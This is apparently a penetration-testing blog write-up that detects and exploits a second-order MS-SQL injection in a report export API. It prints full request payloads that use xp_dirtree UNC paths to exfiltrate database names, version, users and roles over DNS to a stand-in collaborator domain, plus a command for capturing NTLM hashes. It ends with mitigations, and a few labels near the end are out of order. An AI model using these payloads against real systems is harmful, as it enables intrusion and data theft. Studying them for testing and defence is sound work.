Introduction 

In this blog, we explore the mechanics of detecting and exploiting a second-order SQL injection vulnerability, with a focus on Out-of-Band (OOB) techniques. This method, commonly used in scenarios where direct feedback isn’t possible, involves leveraging DNS requests to send data to an external domain controlled by the tester. We’ll guide you through the process of identifying the vulnerability, understanding how DNS-based exfiltration works, and demonstrating the escalation steps that can be chained together to gain deeper insights and control. We’ll also cover key challenges and ways to troubleshoot each step along the way. 

The Vulnerability 

The application is vulnerable to an out-of-band SQL injection in a Microsoft Excel report export feature. A second-order SQL injection occurs when malicious SQL payloads are stored by one part of an application and later executed in a different context, such as a subsequent API call, without proper sanitization. This makes the vulnerability harder to detect, as the payload does not trigger immediately.

In this case, the injection vulnerability is escalated using an SQL Server UNC Path Injection via xp_dirtree, a stored procedure that triggers file directory access on the SQL server. By carefully crafting the payload, we were able to send DNS queries from the backend to an external server under our control to ultimately disclose information about the database including usernames, tables, and service account. 

Overview 

The application has an export functionality that accepts a date as input and generates an Excel report as output. Here’s what the chain of requests looks like: 

1. The server sends a request to /api/report/ with the affected parameter and provides a report ID in the response. 

HTTP Request:

POST /api/report HTTP/1.1 
Host: sqli-lab.local 
Cookie: SESSION_TOKEN=[REDACTED] 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:123.0) Gecko/20100101 Firefox/123.0 
Accept: application/json, text/plain, */* 
Content-Type: application/json;charset=utf-8 
Content-Length: 362 
{ 
  "ReportTypeId": 36, 
  "ReportActionType": "Export", 
  "ReportParams": "{\"76\":{\"Value\":\"2024-08-15T00:00:00.000Z\",\"DisplayValue\":\"2024-08-14T18:30:00.000Z\"}}" 
} 

HTTP Response:

HTTP/1.1 200 OK 
Cache-Control: private 
Pragma: no-cache 
Content-Type: application/json; charset=utf-8 
Expires: -1 
Set-Cookie: SESSION_TOKEN=[REDACTED]; path=/; secure; HttpOnly; SameSite=None 
Strict-Transport-Security: max-age=300; includeSubDomains 
Content-Length: 38 

"79464974-a4e9-4fc8-ace0-46a5a91ca143"

2. This identifier is later used in a follow-up request to /api/report/ExportToExcel to fetch the content for the Excel file, which is then downloaded as an attachment. 

HTTP Request:

GET /api/report/ExportToExcel?reportId=79464974-a4e9-4fc8-ace0-46a5a91ca143 HTTP/1.1 
Host: sqli-lab.local 
Cookie: SESSION_TOKEN=[REDACTED] 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 
Accept: application/json, text/plain, */* 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate, br 
Te: trailers 
Connection: keep-alive 

HTTP Response:

HTTP/1.1 200 OK 
Cache-Control: private 
Pragma: no-cache 
Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet 
Expires: -1 
Set-Cookie: SESSION_TOKEN=[REDACTED]; path=/; secure; HttpOnly; SameSite=None 
content-disposition: attachment; filename=Staff2024-10-07.xlsx 
X-Server: 96722 
Strict-Transport-Security: max-age=300; includeSubDomains 
Date: Mon, 07 Oct 2024 08:39:20 GMT 
Content-Length: 6342 

PKêGY 
[TRUNCATED] 

Detection 

Injecting random data into the date parameter had no effect on the first request, which generates the report ID. However, the follow-up request /api/report/ExportToExcel to fetch the Excel file using the file ID from the /api/report response produces different results when injected with balanced versus imbalanced SQL queries. 

1. First, we will send an HTTP request to the report generation endpoint with a single quote injected into the Value JSON parameter to break the SQL syntax. 

HTTP Request:

POST /api/report HTTP/1.1 
Host: sqli-lab.local 
Cookie: SESSION_TOKEN=[REDACTED] 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:123.0) Gecko/20100101 Firefox/123.0 
Accept: application/json, text/plain, */* 
Content-Type: application/json;charset=utf-8 
Content-Length: 362 
Connection: keep-alive 

{ 
  "ReportTypeId": 36, 
  "ReportActionType": "Export", 
  "ReportParams": "{\"76\":{\"Value\":\"2024-08-15T00:00:00.000Z'\",\"DisplayValue\":\"2024-08-14T18:30:00.000Z\"}}" 
}

HTTP Response:

HTTP/1.1 200 OK 
Cache-Control: private 
Pragma: no-cache 
Content-Type: application/json; charset=utf-8 
Expires: -1 
Set-Cookie: SESSION_TOKEN=[REDACTED]; path=/; secure; HttpOnly; SameSite=None 
X-Server: 96722 
Strict-Transport-Security: max-age=300; includeSubDomains 
Content-Length: 38 

"79464974-a4e9-4fc8-ace0-46a5a91ca143"

2. The follow-up request now returns a 500 Internal Server Error because the report ID/Excel file does not exist in the backend. This likely occurred because the server failed to fetch the requested report, which wasn’t generated in the previous step, due to an imbalanced SQL query in the date range filter.

HTTP Request:

GET /api/report/ExportToExcel?reportId=79464974-a4e9-4fc8-ace0-46a5a91ca143 HTTP/1.1 
Host: sqli-lab.local 
Cookie: SESSION_TOKEN=[REDACTED] 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 
Accept: application/json, text/plain, */*

HTTP Response:

HTTP/1.1 500 Internal Server Error 
Cache-Control: private 
Pragma: no-cache 
Set-Cookie: SESSION_TOKEN=[REDACTED]; path=/; secure; HttpOnly; SameSite=None 
Strict-Transport-Security: max-age=300; includeSubDomains 
Content-Length: 0 

3. Furthermore, to confirm, as soon as we balanced the SQL query by commenting out the remainder of the SQL query (e.g., 2024-10-06T00:00:00.000Z';--), the server started returning successful 200 OK response for the follow-up request with an Excel sheet. This leads us to deduce that an SQL injection vulnerability exists.

HTTP Request:

POST /api/report HTTP/1.1 
Host: sqli-lab.local 
Cookie: SESSION_TOKEN=[REDACTED] 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0)  
Accept: application/json, text/plain, */* 
Content-Type: application/json;charset=utf-8 
Content-Length: 164 

{"ReportTypeId":36,"ReportActionType":"Export","ReportParams":"{\"76\":{\"Value\":\"2024-10-06T00:00:00.000Z';--\",\"DisplayValue\":\"2024-10-05T18:30:00.000Z\"}}"} 

HTTP Response:

HTTP/1.1 200 OK 
Cache-Control: private 
Pragma: no-cache 
Content-Type: application/json; charset=utf-8 
Expires: -1 
Set-Cookie: SESSION_TOKEN=[REDACTED]; path=/; secure; HttpOnly; SameSite=None 
X-Server: 96722 
Strict-Transport-Security: max-age=300; includeSubDomains 
Content-Length: 38 

"f5ca5f5b-f1f4-4d32-afc6-015b91a44ee4" 

HTTP Request:

GET /api/report/ExportToExcel?reportId=f5ca5f5b-f1f4-4d32-afc6-015b91a44ee4 HTTP/1.1 
Host: sqli-lab.local 
Cookie: SESSION_TOKEN=[REDACTED] 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 
Accept: application/json, text/plain, */* 

HTTP Response:

HTTP/1.1 200 OK 
Cache-Control: private 
Pragma: no-cache 
Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet 
Expires: -1 
Set-Cookie: SESSION_TOKEN=[REDACTED]; path=/; secure; HttpOnly; SameSite=None 
content-disposition: attachment; filename=Staff2024-10-07.xlsx 
X-Server: 96722 
Strict-Transport-Security: max-age=300; includeSubDomains 
Date: Wed, 16 Oct 2024 20:08:44 GMT 
Content-Length: 6342 

PKêGY 
[TRUNCATED] 

The next step for us was to identify the backend database. Since this was a blind SQL injection, we proceeded to test general sleep delays. The idea is to allow the server to return errors for a while due to the sleep delay. After some time, we expect the server to start providing successful responses once the report associated with the identifier we provided is generated, i.e., once the SQL query completes its execution. 

While testing for other databases yielded similar responses, Microsoft SQL stood out. Below is an example of one of the injected payloads used while testing sleep delays:  

{ 
  "ReportTypeId": 36, 
  "ReportActionType": "Export", 
  "ReportParams": "{\"76\":{\"Value\":\"2024-10-06T00:00:00.000Z';WAITFOR DELAY '0:0:20';--\",\"DisplayValue\":\"2024-08-14T18:30:00.000Z\"}}" 
} 

Even though the request is balanced, after issuing the above request, the server initially responds with a 500 Internal Server Error. Interestingly, after 20 seconds, reissuing the request yields a successful 200 OK response.  

Since WAITFOR delays are specific to Microsoft SQL, this confirms the backend database as Microsoft SQL.

Exploitation 

MS-SQL offers powerful stored procedures, functions, and out-of-band connections. This approach seemed promising, as it could enable a single-step attack, in contrast to the more complex two-step, time-based blind injection method mentioned earlier, which would require some automation. 

While many methods were unsuccessful, the use of out-of-band connections with xp_dirtree revealed something different. 

Here’s how the vulnerable Value parameter (which contains the date) inside the JSON ReportParams looked when it was initially sent by the application: 

"ReportParams":"{ 
               \"76\": { 
                 \"Value\":\"2024-08-22T00:00:00.000Z\", 
                 \"DisplayValue\": \"2024-08-14T18:30:00.000Z\"  
                 } 
            }"  

By injecting the required SQL query that calls the xp_dirtree stored procedure into the Value field, we were able to force the SQL server to make a bunch of DNS requests to our controlled domain. 

"ReportParams":"{ 
               \"76\": { 
               . \"Value\": \"2024-08-22T00:00:00.000Z'; DECLARE @q VARCHAR(99);SET @q='\\\\\\\\collab.domain\\\\path'; EXEC master.dbo.xp_dirtree @q;-- \", 
                 \"DisplayValue\": \"2024-08-14T18:30:00.000Z\"  
                 } 
            }" 

Here’s a simple breakdown of the SQL injection performed: 

  1. 2024-08-22T00:00:00.000Z'; : Closes an existing SQL string literal and query with ‘; and opens the door for injection. 
  2. declare @q varchar(99); : Declares a variable @q that can store up to 99 characters. 
  3. set @q='\\\\\\\\collab.domain\\\\path'; : Sets the value of @q to the UNC path \\collab.domain\path (escaped for backslashes in SQL). 
  4. exec master.dbo.xp_dirtree @q; : Executes the xp_dirtree procedure, which lists directories and subdirectories at the specified network path ( \\collab.domain\path ). 
  5. -- : The double hyphen ( -- ) is used in SQL to comment out the rest of the line. This ensures that any additional characters or commands following the injected code are ignored. 

Upon executing the payload, we received DNS requests from the server, confirming the vulnerability. 

Exfiltration via Subdomain in the UNC Path 

Next, I used DB_NAME() to confirm the database name and the system function @@SERVERNAME to grab the server name, sending both through DNS requests where the data would be exfiltrated in the subdomain. 

Extracting the Database Name 

The following payload extracts the database name and sends it as part of a DNS request: 

{ 
  "76": { 
    "Value": "2024-08-22T00:00:00.000Z';DECLARE @q NVARCHAR(256); SELECT @q = DB_NAME(); DECLARE @cmd NVARCHAR(4000); SET @cmd = '\\\\' + @q + '.collab.domain\\path'; EXEC master.dbo.xp_dirtree @cmd;-- ", 
    "DisplayValue": "2024-08-14T18:30:00.000Z" 
  } 
} 

This more or less looks like the following MS SQL query: 

DECLARE @q NVARCHAR(256);  
SELECT @q = DB_NAME();  
DECLARE @cmd NVARCHAR(4000);  
SET @cmd = '\\\\' + @q + '.collab.domain\\path';  
EXEC master.dbo.xp_dirtree @cmd;-- 
  1. DECLARE @q NVARCHAR(256); : Declares a variable @q that can hold up to 256 characters.
  2. SELECT @q = DB_NAME(); : Retrieves the current database name and stores it in @q.
  3. DECLARE @cmd NVARCHAR(4000); : Declares a variable @cmd to store the full UNC path.
  4. SET @cmd = '\\' + @q + '.collab.domain\path'; : Constructs a UNC path where the database name is part of the subdomain.
  5. EXEC master.dbo.xp_dirtree @cmd; : Executes xp_dirtree to list directories from the constructed UNC path.

Here’s the HTTP request/response for the payload:

HTTP Request:

POST /api/report HTTP/1.1 
Host: sqli-lab.local 
Cookie: SESSION_TOKEN=[REDACTED] 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:123.0) Gecko/20100101 Firefox/123.0 
Accept: application/json, text/plain, */* 
Content-Type: application/json;charset=utf-8 
Content-Length: 362 
Connection: keep-alive 

{ 
  "ReportTypeId": 36, 
  "ReportActionType": "Export", 
  "ReportParams": "{\"76\":{\"Value\":\"2024-08-15T00:00:00.000Z';DECLARE @q NVARCHAR(256); SELECT @q = DB_NAME(); DECLARE @cmd NVARCHAR(4000); SET @cmd = '\\\\\\\\' + @q + '.adr23315c31r8pinagov0y3pkgq7eyhm6.collab.domain\\\\path'; EXEC master.dbo.xp_dirtree @cmd;--  \",\"DisplayValue\":\"2024-08-14T18:30:00.000Z\"}}" 
} 

HTTP Response:

HTTP/1.1 200 OK 
Cache-Control: private 
Pragma: no-cache 
Content-Type: application/json; charset=utf-8 
Expires: -1 
Set-Cookie: SESSION_TOKEN=[REDACTED] 
Strict-Transport-Security: max-age=300; includeSubDomains 
Date: Mon, 19 Aug 2024 13:25:08 GMT 
Content-Length: 38 

"c5cefa93-3e49-48db-927d-9838e0345ba1" 

Collaborator hit: 

staging.adr23315c31r8pinagov0y3pkgq7eyhm6.collab.domain 

Database name: staging 

Extracting the Server name 

Similarly for Server name, one can use the following payload:

DECLARE @v NVARCHAR(256);  
SELECT @v = @@SERVERNAME;  
DECLARE @cmd NVARCHAR(4000);  
SET @cmd = '\\\\\\\\' + @v + '.zrurhsfuqsfgmewco52kenhey54wsnwbl.collab.domain\\\\path';  
EXEC master.dbo.xp_dirtree @cmd;-- 

Collaborator hit:

demodb.zrurhsfuqsfgmewco52kenhey54wsnwbl.collab.domain 

Database name: demodb  

Although the responses were the same for any input provided to the vulnerable Value parameter in the /api/report endpoint, successful exploitation was confirmed through out-of-band connections using SQL Server UNC Path injection, allowing me to retrieve the database and server names. However, I ran into issues when trying to exfiltrate additional data. 

The following observations were made after failing to receive connections from the backend database on our remote server in these scenarios: 

  • Attempting to exfiltrate data containing spaces or other special characters.
  • Sending data longer than 63 characters in length. 

Subdomain and String Issues 

Upon running into the above issues and going through the contents of RFC 1035, I concluded that the SQL query was failing because one or both of the below conditions were met: 

  1. Subdomain Character Limitations
    Only alphanumeric characters and – are allowed in subdomains, similar to ARPANET host names rules.
    To ensure the data extracted via the subdomain names does not contain any bad characters, a REPLACE() function can be added to clean up bad characters. 
  2. Subdomain Length Restrictions
    While the maximum length of a domain name is restricted to 255 octets, DNS subdomains/labels are limited to only a maximum of 63 characters long, which justifies the earlier restrictions faced.
    To deal with long strings like version numbers, we will be using SUBSTRING() to extract data piece by piece. 

Extracting SQL Server Version 

The following HTTP request was issued that extracts the first 50 characters of the SQL server version. Only 50 chars requested since the data to be extracted will fall into a multi-level subdomain which has a maximum of 63 chars length. 

e.g [EXFIL DATA].[SUBDOMAIN].collab.domain 

POST /api/report HTTP/1.1 
Host: sqli-lab.local 
Cookie: SESSION_TOKEN=[REDACTED] 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:123.0) Gecko/20100101 Firefox/123.0 
Accept: application/json, text/plain, */* 
Content-Type: application/json;charset=utf-8 
Content-Length: 532

{"ReportTypeId":36,"ReportActionType":"Export","ReportParams":"{\"76\":{\"Value\":\"2024-08-15T00:00:00.000Z';DECLARE @q NVARCHAR(256); SELECT @q = SUBSTRING(@@VERSION, 1, 50); SELECT @q = REPLACE(@q, c.value, 'X') FROM (VALUES (' '),('/'),('-'),(':'),(CHAR(13)), (CHAR(10)), (CHAR(9)),('('), (')'), ('<'), ('>')) AS c(value);  DECLARE @cmd NVARCHAR(4000); SET @cmd = '\\\\\\\\' + @q + '.i0jaqbodzbozvx5vxob3n6qx7odf19zxo.collab.domain\\\\path'; EXEC master.dbo.xp_dirtree @cmd;--  \",\"DisplayValue\":\"2024-08-14T18:30:00.000Z\"}}"} 
DECLARE @q NVARCHAR(256);  
SELECT @q = SUBSTRING(@@VERSION, 0, 50);  
SELECT @q = REPLACE(@q, c.value, '-') FROM (VALUES (' '),('/'),('-'),(':'),(CHAR(13)), (CHAR(10)), (CHAR(9)),('('), (')'), ('<'), ('>')) AS c(value);   

DECLARE @cmd NVARCHAR(4000);  
SET @cmd = '\\\\\\\\' + @q + '.i0jaqbodzbozvx5vxob3n6qx7odf19zxo.collab.domain\\\\path';  

EXEC master.dbo.xp_dirtree @cmd;-- 

The payload translates to the following SQL query: 

  1. DECLARE @q NVARCHAR(256); : Declares a variable @q to store part of the SQL Server version.
  2. SELECT @q = SUBSTRING(@@VERSION, 0, 50); : Extracts the first 50 characters of the SQL Server version using @@VERSION and stores it in @q.
  3. SELECT @q = REPLACE(@q, c.value, '-') FROM (VALUES (' '),('/'),('-'),(':'),(CHAR(13)),(CHAR(10)), (CHAR(9)),('('), (')'), ('<'), ('>')) AS c(value); : Replaces special characters (spaces, slashes, hyphens, etc.) including characters like carriage return, line feed and tabs in the extracted version string with the character - , sanitizing the value in @q.
  4. DECLARE @cmd NVARCHAR(4000); : Declares a variable @cmd to store the full UNC path.
  5. SET @cmd = '\\\\' + @q + '.i0jaqbodzbozvx5vxob3n6qx7odf19zxo.collab.domain\\path'; : Constructs the UNC path, embedding the sanitized version string as a subdomain in the domain i0jaqbodzbozvx5vxob3n6qx7odf19zxo.collab.domain and appending \\path.
  6. EXEC master.dbo.xp_dirtree @cmd; : Executes xp_dirtree to list directories from the constructed UNC path, exfiltrating the SQL Server version string via the subdomain in a DNS request.

To fetch the next 50 characters of the SQL Server version, you can modify the SUBSTRING function’s offset: SUBSTRING(@@VERSION, 50, 50);.

Collaborator hits:

Microsoft-SQL-Server-2019--RTM-CU27-GDR---KB50409.i0jaqbodzbozvx5vxob3n6qx7odf19zxo.collab.domain 

48----15.0.4382.1--X64----Jul--1-2024-20-03-23---C.i0jaqbodzbozvx5vxob3n6qx7odf19zxo.collab.domain 

opyright--C--2019-Microsoft-Corporation--Enterpris.i0jaqbodzbozvx5vxob3n6qx7odf19zxo.collab.domain 

e-edition--core-based-licensing--64-bit--on-window.i0jaqbodzbozvx5vxob3n6qx7odf19zxo.collab.domain 

s-Server-2019-Standard-10.0--X64---Build-17763----.i0jaqbodzbozvx5vxob3n6qx7odf19zxo.collab.domain 

-Hypervisor--.i0jaqbodzbozvx5vxob3n6qx7odf19zxo.collab.domain 

MS-SQL Version:

$ awk -F'.' '{print $1}' version | sed 's/-/ /g; s/  */ /g' | tr -d '\n' 

Microsoft SQL Server 2019 RTM CU27 GDR KB5040948 15.0.4382.1 X64 Jul 1 2024 20 03 23 Copyright C 2019 Microsoft Corporation Enterprise Edition Core based Licensing 64 bit on Windows Server 2019 Standard 10.0 X64 Build 17763 Hypervisor 

Extracting the list of DBs present 

DECLARE @cmd NVARCHAR(4000);  

SET @cmd = '\\\\\\\\' + (SELECT name FROM master..sysdatabases ORDER BY name OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLY) + '.9bl112z4a2zq6ogm8fmuyx1oifo6c29qy.collab.domain\\\\path'; 

SELECT @cmd = REPLACE(@cmd, c.value, '-') FROM (VALUES (' '),('/'),(':'),(CHAR(13)), (CHAR(10)), (CHAR(9)),('('), (')'), ('<'), ('>')) AS c(value);  

EXEC master.dbo.xp_dirtree @cmd;-- 

By adjusting the OFFSET value in OFFSET 1 ROWS FETCH NEXT 1 ROWS ONLY , we were able to retrieve different databases from the sysdatabases table. 

Collaborator hit:

staging.9bl112z4a2zq6ogm8fmuyx1oifo6c29qy.collab.domain 
master.9bl112z4a2zq6ogm8fmuyx1oifo6c29qy.collab.domain
… 

Database names:

$ cat output | awk -F'.' '{print $1}' 
staging 
master 
… 

While querying master..sysdatabases was a useful approach, using DB_NAME(1) , DB_NAME(2) , and so on, provided an equally effective, if not better, means to achieve similar results. 

Dumping all the users and roles 

The sys.database_principals proved to be a good resource to provide information about database users, roles, and schemas. 

SQL query: 

DECLARE @cmd NVARCHAR(4000);  

SET @cmd = '\\\\\\\\' + (SELECT name FROM sys.database_principals ORDER BY name OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLY) + '.b2e3s4q614qsxq7ozhdwpzsq9hf8344st.collab.domain\\\\path';  

SELECT @cmd = REPLACE(@cmd, c.value, '-') FROM (VALUES (' '),('/'),(':'),(CHAR(13)), (CHAR(10)), (CHAR(9)),('('), (')'), ('<'), ('>')) AS c(value);  

EXEC master.dbo.xp_dirtree @cmd;-- 

Collaborator hits: 

guest.b2e3s4q614qsxq7ozhdwpzsq9hf8344st.collab.domain 
dbo.b2e3s4q614qsxq7ozhdwpzsq9hf8344st.collab.domain 
INFORMATION_SCHEMA.b2e3s4q614qsxq7ozhdwpzsq9hf8344st.collab.domain 
public.b2e3s4q614qsxq7ozhdwpzsq9hf8344st.collab.domain 
sys.b2e3s4q614qsxq7ozhdwpzsq9hf8344st.collab.domain 
… 

User/role names: 

$ awk -F'.' '{print $1}' 
guest 
dbo 
INFORMATION_SCHEMA 
public 
sys 
… 

The list does not indicate which of these users is the current user. The next section demonstrates how we identified the current user. 

Getting the current user and permissions 

While other methods to fetch the current user may not work, a simple approach is to query the sys.sysusers table to identify the current user. This can be done by comparing the uid from sys.sysusers with the value returned by USER_ID()

SQL Payload: 

DECLARE @cmd NVARCHAR(4000);  

SET @cmd = '\\\\\\\\' + (SELECT name FROM sys.sysusers WHERE uid = USER_ID()) + '.r2ujskqm1kq8x674zxdcpfs69xfo3k78w.collab.domain\\\\path';  

SELECT @cmd = REPLACE(@cmd, c.value, '-') FROM (VALUES (' '),('/'),(':'),(CHAR(13)), (CHAR(10)), (CHAR(9)),('('), (')'), ('<'), ('>')) AS c(value);  
EXEC master.dbo.xp_dirtree @cmd;-- 
POST /api/report HTTP/1.1 
Host: sqli-lab.local 
Cookie: SESSION_TOKEN=[REDACTED] 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:123.0)  
Content-Type: application/json;charset=utf-8 
Content-Length: 513 

{"ReportTypeId":36,"ReportActionType":"Export","ReportParams":"{\"76\":{\"Value\":\"2024-08-15T00:00:00.000Z'; DECLARE @cmd NVARCHAR(4000); SET @cmd = '\\\\\\\\' + (SELECT name FROM sys.sysusers WHERE uid = USER_ID()) + '.r2ujskqm1kq8x674zxdcpfs69xfo3k78w.collab.domain\\\\path'; SELECT @cmd = REPLACE(@cmd, c.value, '-') FROM (VALUES (' '),('/'),(':'),(CHAR(13)), (CHAR(10)), (CHAR(9)),('('), (')'), ('<'), ('>')) AS c(value); EXEC master.dbo.xp_dirtree @cmd;--  \",\"DisplayValue\":\"2024-08-14T18:30:00.000Z\"}}"} 

HTTP Request: 

0.r2ujskqm1kq8x674zxdcpfs69xfo3k78w.collab.domain

Collaborator hit:

DECLARE @q NVARCHAR(256);  
SELECT @q = is_srvrolemember('sysadmin');  
DECLARE @cmd NVARCHAR(4000);  
SET @cmd = '\\\\\\\\' + @q + '.s4xkulsn3ls9z7951yfdrgu7byhp5g34s.collab.domain\\\\path';  
EXEC master.dbo.xp_dirtree @cmd;-- 

Unfortunately, the username returned as public, which has minimal permissions. To check if the user is a sysadmin, we can use the following payload: 

Collaborator hit:

0.r2ujskqm1kq8x674zxdcpfs69xfo3k78w.collab.domain 

The result indicates that the user is not a sysadmin, returning false.

Stealing NetNLM hashes with xp_dirtree

We can also attempt to capture NTLMv2 hashes that may be used for authentication by setting up an SMB server (such as impacket-smbserver or Responder). 

To reach out to our SMB server, we can execute the following xp_dirtree query: 

EXEC master.dbo.xp_dirtree '\\\\\\\\collab.domain\\\\path'; 

For more details on related techniques and considerations, refer to our previous blogs on executing SMB relay attacks via SQL Server and SQL Server link crawling with PowerUpSQL

Mitigations 

To enhance security against SQL injection attacks, here re some mitigations we recommend: 

  1. Parameterized Queries: Always use parameterized queries to handle user input securely. 
  2. Data Type Enforcement and Input Filtering: Strictly define acceptable data types (e.g., strings, alphanumeric characters) for all inputs. Also, implement data input filters to remove potentially harmful characters, using allowlists and regular expressions. 
  3. Database Hardening: Secure the database server to prevent unauthorized data access. 
  4. Generic Error Messages: Disable detailed error messages that expose sensitive information. Use generic error messages instead, directing users to contact IT or the web administrator. 
  5. Principle of Least Privilege: Apply the principle of least privilege when assigning permissions to limit the impact of SQL injection attacks. Use a non-privileged service account to run the database server, ensuring the database user lacks administrative privileges. 

Summary 

In this engaging penetration test, we successfully uncovered a second order MS-SQL injection vulnerability using an Out-of-Band (OOB) technique. This approach allowed us to exfiltrate sensitive data by leveraging stored procedures, specifically xp_dirtree, which is particularly useful for making network requests and accessing file systems within SQL Server environments. 

Due to time constraints, we could not explore additional exploitation paths, such as multi-step time-based blind SQL injection. Instead, we utilized an Interactsh server to automate the capture of Out-of-Band calls directed to our collaborator server. This method streamlined the process of data exfiltration, demonstrating the effectiveness of OOB techniques in SQL injection scenarios. 

Navigating the intricacies of SQL injection posed several challenges, particularly in managing character limits and other special conditions. Each hurdle we encountered underscored the complexity and excitement of web application security testing. The experience highlighted the delicate balance between vulnerability discovery and exploitation in real-world applications, reinforcing the critical need for robust security measures in database management systems. 

This test not only showcased our technical capabilities but also illuminated the broader implications of SQL injection vulnerabilities and their potential impact on organizational security. 

Thank you for reading! 

We hope these insights and recommendations help enhance your application’s security against SQL injection attacks.